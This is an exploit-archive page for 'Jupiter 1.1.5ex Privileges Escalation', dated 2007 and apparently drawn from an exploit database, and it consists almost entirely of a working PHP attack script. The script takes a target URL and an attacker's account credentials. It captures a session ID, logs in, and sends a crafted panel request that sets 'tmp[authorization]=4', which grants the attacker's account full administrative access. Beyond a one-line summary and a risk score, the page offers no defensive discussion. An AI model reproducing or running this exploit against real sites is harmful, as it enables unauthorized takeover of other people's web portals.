Jupiter 1.1.5ex Privileges Escalation Exploit

🗓️ 25 Dec 2007 00:00:00Reported by RootType
The Jupiter 1.1.5ex Privileges Escalation Exploit allows an attacker to gain full access to a target account by exploiting a vulnerability in Jupiter 1.1.5ex

                                                &lt;?php
##########################&nbsp;WwW.BugReport.ir&nbsp;###########################################
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AmnPardaz&nbsp;Security&nbsp;Research&nbsp;&amp;&nbsp;Penetration&nbsp;Testing&nbsp;Group
#
#&nbsp;Title:&nbsp;Jupiter&nbsp;1.1.5ex&nbsp;Privileges&nbsp;Escalation
#&nbsp;Vendor:&nbsp;http://www.jupiterportal.com
#&nbsp;original&nbsp;advisory:&nbsp;http://www.bugreport.ir/?/23
#######################################################################################
?&gt;

&lt;html&nbsp;dir=&quot;ltr&quot;&gt;
&lt;head&gt;
&lt;meta&nbsp;http-equiv=&quot;Content-Type&quot;&nbsp;content=&quot;text/html;&nbsp;charset=utf-8&quot;&gt;
&lt;title&gt;Jupiter&nbsp;1.1.5ex&nbsp;Privileges&nbsp;Escalation&lt;/title&gt;
&lt;style&nbsp;type=&quot;text/css&quot;&nbsp;media=&quot;screen&quot;&gt;
body&nbsp;{
	font-size:&nbsp;10px;
	font-family:&nbsp;verdana;
}
INPUT&nbsp;{
	BORDER-TOP-WIDTH:&nbsp;1px;&nbsp;FONT-WEIGHT:&nbsp;bold;&nbsp;BORDER-LEFT-WIDTH:&nbsp;1px;&nbsp;FONT-SIZE:&nbsp;10px;&nbsp;BORDER-LEFT-COLOR:&nbsp;#D50428;&nbsp;BACKGROUND:&nbsp;#590009;&nbsp;BORDER-BOTTOM-WIDTH:&nbsp;1px;&nbsp;BORDER-BOTTOM-COLOR:&nbsp;#D50428;&nbsp;COLOR:&nbsp;#00ff00;&nbsp;BORDER-TOP-COLOR:&nbsp;#D50428;&nbsp;FONT-FAMILY:&nbsp;verdana;&nbsp;BORDER-RIGHT-WIDTH:&nbsp;1px;&nbsp;BORDER-RIGHT-COLOR:&nbsp;#D50428
}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&nbsp;dir=&quot;ltr&quot;&nbsp;alink=&quot;#00ff00&quot;&nbsp;&nbsp;bgcolor=&quot;#000000&quot;&nbsp;link=&quot;#00c000&quot;&nbsp;text=&quot;#008000&quot;&nbsp;vlink=&quot;#00c000&quot;&gt;
&lt;form&nbsp;method=&quot;POST&quot;&nbsp;action=&quot;?&quot;&gt;
Target&nbsp;URL&nbsp;(whit&nbsp;trailing&nbsp;slash)&nbsp;:&lt;BR&gt;&lt;BR&gt;
http://&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;target&quot;&nbsp;value=&quot;www.example.com/jupiter/&quot;&nbsp;size=&quot;50&quot;&gt;&lt;BR&gt;&lt;BR&gt;
Username&nbsp;:&lt;BR&gt;&lt;BR&gt;
&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;username&quot;&nbsp;size=&quot;30&quot;&gt;&lt;BR&gt;&lt;BR&gt;
Password&nbsp;:&lt;BR&gt;&lt;BR&gt;
&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;password&quot;&nbsp;size=&quot;30&quot;&gt;&lt;BR&gt;&lt;BR&gt;
*First&nbsp;Create&nbsp;an&nbsp;account&nbsp;on&nbsp;target!&lt;BR&gt;
The&nbsp;exploit&nbsp;will&nbsp;login&nbsp;with&nbsp;this&nbsp;username&nbsp;and&nbsp;password&nbsp;and&nbsp;then&nbsp;grants&nbsp;full&nbsp;access&nbsp;to&nbsp;this&nbsp;account!&lt;BR&gt;&lt;BR&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;name=&quot;start&quot;&nbsp;value=&quot;Start&quot;&gt;
&lt;/form&gt;
&lt;?php
error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,&nbsp;2);

function&nbsp;sendpacket($packet)
{
	global&nbsp;$host,&nbsp;$html;
	$port&nbsp;&nbsp;=&nbsp;80;
	
	$ock=fsockopen(gethostbyname($host),$port);
	if&nbsp;($ock)
	{
		fputs($ock,$packet);
		$html='';
		while&nbsp;(!feof($ock))
		{
			$html.=fgets($ock);
		}
		fclose($ock);
		//&nbsp;echo&nbsp;nl2br(htmlentities($html));
	}else&nbsp;die('&lt;BR&gt;No&nbsp;response&nbsp;from&nbsp;'.htmlentities($host).'&lt;BR&gt;');
}

if(isset($_POST['start']))
{
	if&nbsp;($_POST['target']&nbsp;==&nbsp;''&nbsp;||&nbsp;$_POST['username']&nbsp;==&nbsp;''&nbsp;||&nbsp;$_POST['username']&nbsp;==&nbsp;'')
	{
		die('Error&nbsp;:&nbsp;All&nbsp;fields&nbsp;are&nbsp;required!');
	}
	$Target&nbsp;&nbsp;&nbsp;=&nbsp;trim($_POST['target']);
	$Username&nbsp;=&nbsp;trim($_POST['username']);
	$Password&nbsp;=&nbsp;trim($_POST['password']);
	$Target&nbsp;&nbsp;.=&nbsp;($Target[strlen($Target)-1]&nbsp;&lt;&gt;&nbsp;'/')&nbsp;?&nbsp;'/'&nbsp;:&nbsp;'';
	$host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;substr($Target,&nbsp;0&nbsp;,strpos($Target,&nbsp;'/'));
	$path&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;substr($Target,&nbsp;strpos($Target,&nbsp;'/'));
	$Query1&nbsp;&nbsp;&nbsp;=&nbsp;$path.'index.php';
	$packet1&nbsp;&nbsp;=&nbsp;&quot;HEAD&nbsp;$Query1&nbsp;HTTP/1.1\r\n&quot;;
	$packet1&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;Shareaza&nbsp;v1.x.x.xx\r\n&quot;;
	$packet1&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
	$packet1&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
	sendpacket($packet1);
	echo&nbsp;nl2br(htmlentities($html));
	$Pattern&nbsp;&nbsp;=&nbsp;&quot;(PHPSESSID=[a-z0-9]{20,32})&quot;;
	if(preg_match($Pattern,&nbsp;$html,&nbsp;$Matches))
	{
		$Match&nbsp;=&nbsp;$Matches[0];
		$PHPSESSID&nbsp;=&nbsp;substr($Match,&nbsp;10,&nbsp;strlen($Match));
	}
	$Query2&nbsp;&nbsp;&nbsp;=&nbsp;$path.'index.php?n=modules/login';
	$packet2&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;$Query2&amp;username=$Username&amp;password=$Password&amp;submit=Login&amp;PHPSESSID=$PHPSESSID&nbsp;HTTP/1.1\r\n&quot;;
	$packet2&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;Shareaza&nbsp;v1.x.x.xx\r\n&quot;;
	$packet2&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
	$packet2&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
	sendpacket($packet2);
	if(stristr($html&nbsp;,&nbsp;'i=1')&nbsp;==&nbsp;true)
	{
		die('Error&nbsp;:&nbsp;Incorrect&nbsp;username&nbsp;or&nbsp;password!&nbsp;Try&nbsp;again!');
	}&nbsp;else
	if(stristr($html&nbsp;,&nbsp;'i=5')&nbsp;==&nbsp;true)
	{
		die('Error&nbsp;:&nbsp;Someone&nbsp;is&nbsp;currently&nbsp;using&nbsp;that&nbsp;account!');
	}&nbsp;else
	$RandMail&nbsp;=&nbsp;substr($PHPSESSID,&nbsp;10,&nbsp;6).'[email protected]';
	$Query3&nbsp;&nbsp;&nbsp;=&nbsp;$path.'index.php?n=modules/panel&amp;a=2&amp;tmp[authorization]=4';
	$packet3&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;$Query3&amp;editpassword=&amp;editpassword2=&amp;editemail=$RandMail&amp;edittemplate=default&amp;editurl=&amp;editflag=none&amp;editday=0&amp;editmonth=0&amp;edityear=0&amp;edithideemail=0&amp;editcalendarbday=0&amp;editmsn=&amp;edityahoo=&amp;editicq=&amp;editaim=&amp;editskype=&amp;editsignature=&amp;editaboutme=&amp;PHPSESSID=$PHPSESSID&nbsp;HTTP/1.1\r\n&quot;;
	$packet3&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;Shareaza&nbsp;v1.x.x.xx\r\n&quot;;
	$packet3&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
	$packet3&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
	sendpacket($packet3);
	if(stristr($html&nbsp;,&nbsp;'i=26')&nbsp;==&nbsp;false)
	{
		die('Exploit&nbsp;Failed');
	}
	$Query4&nbsp;&nbsp;&nbsp;=&nbsp;$path.'index.php?n=modules/login&amp;a=1';
	$packet4&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;$Query4&amp;PHPSESSID=$PHPSESSID&nbsp;HTTP/1.1\r\n&quot;;
	$packet4&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;Shareaza&nbsp;v1.x.x.xx\r\n&quot;;
	$packet4&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
	$packet4&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
	sendpacket($packet4);
	die('Exploit&nbsp;succeeded!&nbsp;You&nbsp;have&nbsp;Full&nbsp;access&nbsp;now!');
}	
?&gt;
25 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1